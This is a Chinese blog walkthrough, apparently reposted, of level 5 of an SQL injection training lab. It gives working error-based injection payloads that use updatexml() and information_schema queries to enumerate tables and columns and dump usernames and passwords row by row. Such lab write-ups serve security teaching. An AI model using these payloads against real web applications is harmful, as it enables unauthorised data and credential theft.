自学内容网 自学内容网

SQL靶场第五关攻略

sql靶场第五关攻略

输入?id=1页面正常

输入?id=1'发现页面报错,说明存在sql报错注入

1.判断闭合点

在输入?id=1' --+页面正常,说明闭合点为单引号

这里我们就知道了单引号是他的闭合点

2.判断列数

输入?id=1' order by 3--+页面正常

输入?id=1' order by 4--+页面异常,说明存在三列

3.判断回显点

输入?id=-1' union select 1,2,3--+我们发现没有回显

这个时候我们需要用到一个函数给他构造报错updatexml()

4.查询数据库名

输入?id=1' and updatexml(1,concat(1,(database())),1)--+就得到了数据库名

4.查询表名

输入?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

5.查询列名

输入?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

6.查询数据

输入?id=1' and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

这个不能显示所有的,我们只能用

limit 0,1

limit 1,1

...

以此类推查询(注意前面的concat参数不要写成group_concat,否则每次只能读取一个用户名)

以上就是sql靶场第五关的通关流程


原文地址:https://blog.csdn.net/mirliasheong/article/details/144223470

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!